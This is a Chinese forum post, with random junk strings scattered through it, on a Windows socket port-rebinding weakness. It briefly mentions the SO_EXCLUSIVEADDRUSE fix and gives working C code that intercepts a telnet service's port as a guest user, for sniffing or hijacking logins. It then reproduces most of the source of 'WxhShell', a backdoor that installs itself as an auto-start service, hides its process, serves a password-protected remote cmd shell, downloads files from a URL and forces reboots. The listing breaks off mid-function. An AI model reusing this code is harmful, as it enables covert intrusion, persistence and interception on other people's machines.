-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cpw=2vnD s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mOHOv61
pCo3%( saddr.sin_family = AF_INET; 6'e^np /AOGn?Z3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'm|T"Ym~ bo<.pK$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4VeT]`C^h edcz%IOM( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D*VO;?D ntPj9#lf 这意味着什么?意味着可以进行如下的攻击: +$VDV4l u{\>iQ
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W)D?8* B<-("P(q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )eZ}Kt+ _w%:PnO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ??P\v0E 0m.`$nlV- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 <*^|Aj|# kb"Fw:0
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q27q/q8 `EvO^L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LD
NdHG6 eAI|zk6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N TDmOS\, _yH">x< #include 3kUb cm #include 'WmjQsf #include NKB["+S< #include lqh:c DWORD WINAPI ClientThread(LPVOID lpParam); B=^M& { int main() n{~&^Nby*I { g@M5_I(W WORD wVersionRequested; <3N\OV2 DWORD ret; j x< <h_j WSADATA wsaData; rwW"B BOOL val; %`$:/3P$U SOCKADDR_IN saddr; }1V+8'D SOCKADDR_IN scaddr; +/[Rvh5WZ int err; 5W|wDy SOCKET s; FYE(lEjxi SOCKET sc;
(6mw@gzr int caddsize; VSCKWYy HANDLE mt; bJ"2|VNH( DWORD tid; {E)tzBI;^ wVersionRequested = MAKEWORD( 2, 2 ); }QQl.' err = WSAStartup( wVersionRequested, &wsaData ); lH/"47 if ( err != 0 ) { [N%InsA9k printf("error!WSAStartup failed!\n"); ?G~rYETvw return -1; bf1$:09 } 0LzS #J+ saddr.sin_family = AF_INET; $RF.LVc ^qBm%R( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @cxM#N8e O0BDUpH saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -Q
Mwtr#q} saddr.sin_port = htons(23); HfP<hQmN' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^{0*?,-x { 5&L*'kV@ printf("error!socket failed!\n"); U
Rq9:{ return -1; mRyf+O[ } d Efk~V\ val = TRUE; %RF$Y=c'C //SO_REUSEADDR选项就是可以实现端口重绑定的 AA ~7"2e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VJW8%s[ { l<S3<'& printf("error!setsockopt failed!\n"); ]{{%d4 return -1; .}+3A~ } MZA%ET,l,< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y:Lkh>S1Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *>W6,F7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \}=W*xxB xN>\t& c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n4XkhY| { s-x1<+E( ret=GetLastError(); -H[@]Q4w printf("error!bind failed!\n"); R\5fl[ return -1; %a0q|)Nrj } =Y!.0)t;* listen(s,2); v1}ijls while(1) Td7Q%7p: { ;"9Ks. caddsize = sizeof(scaddr); 'h~IbP //接受连接请求 l9+CJAmq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >}]bKq if(sc!=INVALID_SOCKET) .v+J@Y a { aWLA6A+C& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (8o;Cm if(mt==NULL) .9g :-hv { tx+P@9M_Aq printf("Thread Creat Failed!\n"); S}0-2T[ break; &A/b9GW^- } 7OXRR)]V } =*+f2 CloseHandle(mt); Iw#[K } <bhJ > closesocket(s); >nK ( WSACleanup(); RASk=B return 0; MOB'rPIUI } }y+a)2 DWORD WINAPI ClientThread(LPVOID lpParam) .S=|ZP+ { w+!V,lU"^ SOCKET ss = (SOCKET)lpParam; :l
Z\=2D SOCKET sc; 8/,s8u unsigned char buf[4096]; }
MP_ SOCKADDR_IN saddr; 3y:),;|5 long num; ab)ckRC DWORD val; r,vSDHb`j DWORD ret; I7'v;* //如果是隐藏端口应用的话,可以在此处加一些判断 KlBT9"6" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 l#+@!2z saddr.sin_family = AF_INET; |r+hj<K saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i \lr
KA saddr.sin_port = htons(23); 7VkjnG^!: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6BQq|:U { YCzH@94QeV printf("error!socket failed!\n"); ?h#F& y return -1; PqyR,Bcx0 } qla=LS\-A+ val = 100; `r\/5|M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +8|Xj!!*} { !l.^]| ret = GetLastError(); Ln\Gv/) return -1; s6 K~I } v Oo^H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P$clSJW { ?&U~X)Q ret = GetLastError(); @fVz
* return -1; K3rsew
n } 6BXZGE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pm= s { UK@hnQU8` printf("error!socket connect failed!\n"); EW]8k@&g closesocket(sc); =3;!
5P closesocket(ss); `VglE?M return -1; ?$/W3Xn0% } w0<1=;_% while(1) =1O;,8` { ;1TQr3w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O4a~(*f //如果是嗅探内容的话,可以再此处进行内容分析和记录 a][Tb0Ox //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ._'.F'd num = recv(ss,buf,4096,0); 6"+bCx0: if(num>0) Zjc0R send(sc,buf,num,0); !|"LAr9u else if(num==0) "QtkNy%E break; `<R^ZL, num = recv(sc,buf,4096,0); -b
)~ if(num>0) }Q,BI*}* send(ss,buf,num,0); scd}{Y else if(num==0) 3%N!omAe break; N{!@M_C^%R } 10_@'N closesocket(ss); L9z5o(Aa closesocket(sc); o O1Fw1Y return 0 ; c^,8eb7c } %IUTi6P
l 6WLq>Jo de"+ABR ========================================================== q\fai^_ uH)v\Js 下边附上一个代码,,WXhSHELL Nb>C5TjR 0qN?4h)7 ========================================================== a)/ }T >-CNHb #include "stdafx.h" +/#Lm#*nu% GM@0$ #include <stdio.h> ;|Rrtf9 #include <string.h> cT'<,#^/ #include <windows.h> "j}fcrlG9 #include <winsock2.h> Bjb8#n04 #include <winsvc.h> BUla2p #include <urlmon.h> *{e,< DV :YmFQ>e? #pragma comment (lib, "Ws2_32.lib") 9 NC'iFQ# #pragma comment (lib, "urlmon.lib") EI&)+cC l9NET #define MAX_USER 100 // 最大客户端连接数 ^JB5-EtL( #define BUF_SOCK 200 // sock buffer @ c%h fI #define KEY_BUFF 255 // 输入 buffer ~t.i;eu O-<nLB!Wf #define REBOOT 0 // 重启 r5!Sps3B #define SHUTDOWN 1 // 关机 ~NwX,-ri )TkXdA?. #define DEF_PORT 5000 // 监听端口 P # Z+:T R%r<AL5kJk #define REG_LEN 16 // 注册表键长度 Jn1(- #define SVC_LEN 80 // NT服务名长度 vnv:YQV/ir p=f8A71 // 从dll定义API _^] :tL6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +H3;{ h9, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (#r>v
h ( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9Jf.Ls typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <\5E{/7Tl "3uPK$ // wxhshell配置信息 SBG.t: struct WSCFG { Lq5Eu$;r int ws_port; // 监听端口 zT _[pa)O` char ws_passstr[REG_LEN]; // 口令 t|k-Bh:x int ws_autoins; // 安装标记, 1=yes 0=no 2?9gf,U char ws_regname[REG_LEN]; // 注册表键名 Y:K1v:Knw char ws_svcname[REG_LEN]; // 服务名 f}zv@6#& char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Je9]XT char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cn8w})B char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (>gHfC>(lq int ws_downexe; // 下载执行标记, 1=yes 0=no dWDf(SS char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }!5+G:JAh char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]1i1_AR'` XZ1<sm8t." }; U P e@> |gJI}"T // default Wxhshell configuration <a$'tw-8 struct WSCFG wscfg={DEF_PORT, uI_h__ "xuhuanlingzhe", lEiOE] 1, ]`O??wN "Wxhshell", #p|7\Y "Wxhshell", .c2Zr|X "WxhShell Service", ZHOh( "Wrsky Windows CmdShell Service", vip&
b}u "Please Input Your Password: ", dIRSgJ` 1, xrCb29{ " http://www.wrsky.com/wxhshell.exe", H83/X,"!w "Wxhshell.exe" ){ ,v&[ }; =jW=Z$3q Bis'59?U_ // 消息定义模块 `]l*H3+hg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R"k}wRnxY char *msg_ws_prompt="\n\r? for help\n\r#>"; SRpPLY{:F char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; -JB~yO?0 char *msg_ws_ext="\n\rExit."; a?X{k|;!7u char *msg_ws_end="\n\rQuit."; N'e3< char *msg_ws_boot="\n\rReboot..."; !$^LTBOH3 char *msg_ws_poff="\n\rShutdown..."; :=^_N} char *msg_ws_down="\n\rSave to "; VT`C<' 9~C$C char *msg_ws_err="\n\rErr!"; :7Smsc"B! char *msg_ws_ok="\n\rOK!"; 94xRKQ} b'5L|1d char ExeFile[MAX_PATH]; q8e34Ly7 int nUser = 0; CLX!qw]@ + HANDLE handles[MAX_USER]; >ay%
!X@3" int OsIsNt; K\vyfYi Z{J{6j SERVICE_STATUS serviceStatus; -H(\[{3{V SERVICE_STATUS_HANDLE hServiceStatusHandle; K#<cuHGC Ju 0 // 函数声明 lQnqPQY int Install(void); B&k"B?9mL int Uninstall(void); /qX=rlQ/ n int DownloadFile(char *sURL, SOCKET wsh); s.uV,E*wu int Boot(int flag); |oI] void HideProc(void); $bT<8:g int GetOsVer(void); P% ZCACzV int Wxhshell(SOCKET wsl); OKp0@A)8 void TalkWithClient(void *cs); {Kkut?5 int CmdShell(SOCKET sock); TbPTgE * int StartFromService(void); 57 eA(uI int StartWxhshell(LPSTR lpCmdLine); 5 U{}A\q WTP~MJ#C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l^*'W(% VOID WINAPI NTServiceHandler( DWORD fdwControl ); gx)!0n; W.t` // 数据结构和表定义 vfZ.js/ SERVICE_TABLE_ENTRY DispatchTable[] = LU7d\Ch { ,Rh6(I {wscfg.ws_svcname, NTServiceMain}, \ZPmPu9^( {NULL, NULL} }Kc03Ue`%e }; 8LM 91 /MUa
b*h // 自我安装 vuE 1(CR int Install(void) U4hFPK< { %Vp'^,&S char svExeFile[MAX_PATH]; |Q)c{9sD HKEY key; l;C00ZBOc strcpy(svExeFile,ExeFile); &6mXsx$ 5bKm)|4z6 // 如果是win9x系统,修改注册表设为自启动 bF
X0UE> if(!OsIsNt) { r#CQCq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0j)D[K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "<y0D!& RegCloseKey(key); 6!GO{2d" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5D#Mhgun RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y6*9, CF RegCloseKey(key); 6+hx64 = return 0; 2,,t+8"` } hs5aIJ } HMymoh$Q } WG0Ne;Ho else { fxKhe[; mlmp'f // 如果是NT以上系统,安装为系统服务 (dh{Gk4=+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {!`0i if (schSCManager!=0) vdLBf+Zi { o2C{V1nB SC_HANDLE schService = CreateService sAG#M\A6 ( 9nrH
6] schSCManager, 4.}{B_)LK wscfg.ws_svcname, @d]a#ypU wscfg.ws_svcdisp, >w~Hq9 SERVICE_ALL_ACCESS, L6-zQztn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g_l=z`,8 SERVICE_AUTO_START, ~jDG&L SERVICE_ERROR_NORMAL, `X06JTqf: svExeFile, Ur/+nL{ NULL, @{|vW NULL, lSu\VCG NULL, B]o5HA<k NULL, 2#y!(D8 NULL V"T48~Ue ); j(|9>J*,~G if (schService!=0) /Dl{I7W { XAb!hc
CloseServiceHandle(schService); >)sB#<e CloseServiceHandle(schSCManager); TzJp3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pSvqGJU3 strcat(svExeFile,wscfg.ws_svcname); vl{G;[6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?!4xtOA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V#Hg+\{d RegCloseKey(key); G2A^+R0\ return 0; GV1SKa } eiJ13`T } )S;pYVVAl CloseServiceHandle(schSCManager); l".LtUf- } 2!u4nxZ. } wInJ!1 ,a&&y0, return 1; :Rq>a@Rp } ]26
Q*.1~ (")IU{>c6 // 自我卸载 9mEt**s
Ur int Uninstall(void) 8 )W{C> { ?%RN? O( HKEY key; VX!UT=; NR*s7> if(!OsIsNt) { .D~ZE94@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{+<c [ RegDeleteValue(key,wscfg.ws_regname); aWe?n; RegCloseKey(key); ;E"TOC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tocZO RegDeleteValue(key,wscfg.ws_regname); y$f{P:!"{3 RegCloseKey(key); xMdbS4 &! return 0; (H\)BS7#R } eB$S d } l20fA-T
_I } Y]ZNAR else { Vl0
J!JK_ =%}++7# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uTemAIp
$u if (schSCManager!=0) COF_a% { iL%Q@!ka SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m3cO{
1I if (schService!=0) 23F<f+2S { phT|w
H if(DeleteService(schService)!=0) { /:YJ2AARY CloseServiceHandle(schService); ]
X9e| CloseServiceHandle(schSCManager); Fjc4[ C return 0; 1Rrl59}5 } I(cy<ey+e CloseServiceHandle(schService); o
IUjd } b R6g^Yf CloseServiceHandle(schSCManager); -27uh } :KJG3j?
} S-M|
6fv | m^qA](M return 1; 80p? qe } C1/<t)^ y}'c)u // 从指定url下载文件 %,l+?fF int DownloadFile(char *sURL, SOCKET wsh) eX;Tufe*(Q { px!TRbf HRESULT hr; j"8 f,er char seps[]= "/"; @dy<=bh~ char *token; _* xjG \! char *file; A[/_}bI| char myURL[MAX_PATH]; 9{{|P= char myFILE[MAX_PATH]; J73B$0FP [_jd strcpy(myURL,sURL); \Kx@?, token=strtok(myURL,seps); &I&:
while(token!=NULL) Ac0^` { 9rB,7%@EL file=token; AjTkQ)
token=strtok(NULL,seps); 44uM:; } #hA]r.
AE_7sM GetCurrentDirectory(MAX_PATH,myFILE); O3?3XB> < strcat(myFILE, "\\"); hU:M]O0uw strcat(myFILE, file); ;W/K7} send(wsh,myFILE,strlen(myFILE),0); +}XFkH~ send(wsh,"...",3,0); Ddf7wszW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[a\U8
w if(hr==S_OK) .=j]PckJO return 0; y%y F34 else Q:
H`TSR] return 1; bJ[{[|yEd /~,|zz } J?yNZK$WqN [<HU~PP // 系统电源模块 nX@lR~g%F int Boot(int flag) KRY%B[k { h83;}> HANDLE hToken; DNP%]{J TOKEN_PRIVILEGES tkp; |C \%H R zyznFiE if(OsIsNt) { zL1*w@6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y+ZRh?2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;"*\R5a tkp.PrivilegeCount = 1; Ur`jmB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yFIB/ln: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #E[{ if(flag==REBOOT) { (8[et m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _K4Igq return 0; d)G'y } X3z$f(lF%) else { 7O_@b$Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `
>w4G|{ return 0; h";0i: } h
0EpW5 } n9Mi?#xIp else { e{ce
\ if(flag==REBOOT) { Fk:yj 4' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S%h[e[[fST return 0; >)/,5VSE } /rKdxsI* else { 2wHvHH! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J>I.|@W4 return 0; j}0W|* } SR,id B&i } X*Ibk-PUM !`u return 1; C*;g!~{ } ]h(}%fk_ T-0[P; // win9x进程隐藏模块 g4NxNjM; void HideProc(void) }U)g<Kzh { >L\>Th{o EcBJ-j6d HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _[yBwh if ( hKernel != NULL ) (+@
Lnz\ { r<Il;?S6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =hs
!t|(* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mSn> FreeLibrary(hKernel); 24ojjxz+ } yfBVy8Sm \DP*?D_}? return; -`z`K08sT } d)'am
3Q
F
%OA // 获取操作系统版本 D1&%N{ int GetOsVer(void) P'.M.I@ { bB|UQaCl OSVERSIONINFO winfo; bITc9Hqc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N5 BC<pu GetVersionEx(&winfo); K~j&Q{yws@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5dH}cXs return 1; *
u_nu> else f0uzoeL<% return 0; 0]x g E } 2OXcP!\Y @a AR99 M // 客户端句柄模块 'A0.(a5 int Wxhshell(SOCKET wsl) W/(D"[:l% { 3Un{Q~6h SOCKET wsh; d$>TC(E=t struct sockaddr_in client; YCJ6an DWORD myID; ^DL}J>F9G ^4Nk13 while(nUser<MAX_USER) G_GPnKdd { zTDB]z!A int nSize=sizeof(client); Hzr<i4Y=w9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -WDU~VSU if(wsh==INVALID_SOCKET) return 1; ]7qn&(] SZO$# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sV8}Gv
a if(handles[nUser]==0) XcOfQs closesocket(wsh); AXUSU(hU else QXXB>gOY5 nUser++; sFqLxSo_I } cC{eu[ XW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ls8@@b,t2 )ZxDfRjL return 0; X?,ly3, } wVSM\ =x9SvIm/tH // 关闭 socket {H]xA 3[] void CloseIt(SOCKET wsh) h28")c.pH= { 8@Zg@>, closesocket(wsh); >]6f!;Rt nUser--; :n'$Txf ExitThread(0); :%[=v(G[ } q=NI}k i/ED_<_Vg // 客户端请求句柄 0GUm~zi1 void TalkWithClient(void *cs) U(lcQC`$ { _zAHN0d R+'$V$g\X SOCKET wsh=(SOCKET)cs; w! J|KM char pwd[SVC_LEN]; ET]PF ,` char cmd[KEY_BUFF]; 6OBe^/ZRt char chr[1]; d~i WV6Va int i,j; ?gknJ: Gm,vLs9H$T while (nUser < MAX_USER) { }2WscxL ~r/"w'dB if(wscfg.ws_passstr) { 3AKT>Wy = if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'r&az BO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NSQ}:m //ZeroMemory(pwd,KEY_BUFF); \Wdl1 =` i=0; {M`yYeo while(i<SVC_LEN) { 9g*O;0 uz =?o, ' n0 // 设置超时 $]V,H" fd_set FdRead; PUt\^ke struct timeval TimeOut; C$"N)6%q FD_ZERO(&FdRead); s} 2TJa FD_SET(wsh,&FdRead); D{-h2=V TimeOut.tv_sec=8; "4Joou"U TimeOut.tv_usec=0; ;yfKYN[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;kSRv=S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KpHt(>NR =mVWfFL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kF%EJuu pwd =chr[0]; U_s3)/' if(chr[0]==0xd || chr[0]==0xa) { [i[*xf-B pwd=0; h |Ofi break; gMN>`Z`fV } Rm@#GP`
i++; *QKxrg } ] !7%) ?]*WVjskE // 如果是非法用户,关闭 socket st-
z>} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r7Vt,{4/ } t>hoXn^- 5yOIwzr&Uu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eAU0 8gM. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); to2;. ~X r]h>Bb while(1) { '}4z=f`} &zuPt5G| ZeroMemory(cmd,KEY_BUFF);
j,DF' h jL9g.q4^ // 自动支持客户端 telnet标准 o#"U8N%r j=0; KCBA`N8 while(j<KEY_BUFF) { L/ L#[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z7vc|Z|
cmd[j]=chr[0]; \,UpFuU\ if(chr[0]==0xa || chr[0]==0xd) { {Ad4H[]|] cmd[j]=0; g mdJ8$ break; pUcN-WA } BiFU3FlTf j++; (/mR
p } m:6^yfS 1 X8P v*, // 下载文件 hgYi ,e if(strstr(cmd,"http://")) { 2 m"2>gX send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;mT|0&o># if(DownloadFile(cmd,wsh))
kM:Z(Z7$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); .uh>S!X, ] else ]%%I=r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z\YCjs% } B$ =oU else { /)%$xi 6TR` O switch(cmd[0]) { v3p0 *F<Ar\f5 // 帮助 (Q]Ww_r~ case '?': { |wxAdPe send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DpRGPs break; 5T*Uq>x0 } OLH[F // 安装 W
u C2LM case 'i': { }WowgY if(Install()) c-jE1y< send(wsh,msg_ws_err,strlen(msg_ws_err),0); {PGiNY%q else u=6LPwiI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \m xi8Z
w break;
<<FBT`Y[ } {"dvU"y)\ // 卸载 B*OEG*t case 'r': { >='y+68 if(Uninstall()) 0?$jC-@k: send(wsh,msg_ws_err,strlen(msg_ws_err),0); /` ;rlH* else +$uQ_ve send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;s$,}O. break; '?Jz8iu- } Z|#G+$"QV // 显示 wxhshell 所在路径 r!N> FE case 'p': { We`6# \Z X char svExeFile[MAX_PATH]; h5o6G1ur strcpy(svExeFile,"\n\r"); ~D0e\Q(A strcat(svExeFile,ExeFile); 5!s7`w]8*0 send(wsh,svExeFile,strlen(svExeFile),0); Al
MMN"j break; n8+_Uww } /;X+<Wj // 重启 gLss2i.r case 'b': { <"hq}B send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )KdEl9 o if(Boot(REBOOT)) al{}_1XoU send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nx;Oz else { L^FQ|?* closesocket(wsh); 20,}T)}Tm ExitThread(0); \H4$9lPk } V;LV),R? break; b Y2:g ) } ,k9xI<i // 关机 O>@ChQF case 'd': {
O`^dy7>{U send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vNDf1B5z if(Boot(SHUTDOWN)) D_Zt:tzO send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,%T
sfB else { 4[lym,8C closesocket(wsh); Xk(p:^ R ExitThread(0); {9XN\v=$"* } ?APCDZ^ break; &SW~4 {n: } pwg\b // 获取shell ]<BT+6L case 's': { 8x`EUJ CmdShell(wsh); Ods~tM closesocket(wsh); c }7gHud ExitThread(0); YXLZ2-%ohZ break; ="('
#o } GK`U<.[c // 退出 Z [YSET case 'x': { Kgw,]E&7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vnx+1T CloseIt(wsh); n`X}&(O break; S*NeS#!v } szs.B|3X@* // 离开 {O!B8a
case 'q': { 4*&2D-8<K send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tg@:mw5 closesocket(wsh); xyrlR;Sk WSACleanup(); SUb:0GUa exit(1); ,Ma%"cWVC break; NtG^t}V } `D? &)Y } q\G7T{t$. } V4ybrUWK or`D-x)+@ // 提示信息 FL[,?RU?2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >aAsUL5W } \'6%Ld5km } 9>6?tb"f*H ?$6(@>`f&t return; ] 1s6= } Xd@ d$ v[4-?7- // shell模块句柄 G.~Ffk int CmdShell(SOCKET sock) SQ057V>'= { T2}X~A STARTUPINFO si; =<X4LO)C ZeroMemory(&si,sizeof(si)); XC!Y {lp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f_z]kA
+H si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T2_b5j3i PROCESS_INFORMATION ProcessInfo; E/hO0Ox6 char cmdline[]="cmd"; Y^QG\6q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 48)D%867.; return 0; gLwrYG7@ } .1:B\R(( e3k58 // 自身启动模式 r8Z.}<j int StartFromService(void) UmL Boy&* { eWr2UXv$ typedef struct hO2W!68 { BU O8Z] DWORD ExitStatus; "..I$R DWORD PebBaseAddress; lvH} 8lJ DWORD AffinityMask; Eih6?Lpu DWORD BasePriority; PU-L,]K ULONG UniqueProcessId; '3=@UBs ULONG InheritedFromUniqueProcessId; a(AYY<g } PROCESS_BASIC_INFORMATION; /<k]mY cu m>f8RBp]' PROCNTQSIP NtQueryInformationProcess; 0|| 5r# MxqIB(5k static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y9~:[ jB static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @!*I
